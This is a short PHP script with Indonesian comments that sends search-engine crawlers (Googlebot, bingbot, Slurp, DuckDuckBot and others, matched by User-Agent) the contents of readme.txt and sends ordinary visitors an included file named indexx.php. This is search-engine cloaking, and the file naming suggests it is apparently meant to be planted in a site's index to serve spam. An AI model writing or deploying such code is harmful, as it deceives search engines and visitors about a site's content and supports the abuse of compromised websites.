<?php

function is_google_bot() {
    $agents = ["Googlebot", "Google-Site-Verification", "Google-InspectionTool", 
               "Googlebot-Mobile", "Googlebot-News", "bingbot", "Slurp", "DuckDuckBot"];
    
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    foreach ($agents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

if (is_google_bot()) {
    // Googlebot → tampilkan readme.txt
    $readmePath = __DIR__ . '/readme.txt';
    if (file_exists($readmePath)) {
        echo file_get_contents($readmePath);
    } else {
        echo "Landing page for Googlebot not found.";
    }
} else {
    // User biasa → tampilkan indexx.php
    $indexxPath = __DIR__ . '/indexx.php';
    if (file_exists($indexxPath)) {
        include $indexxPath;
    } else {
        echo "Catalog page not found.";
    }
}

exit;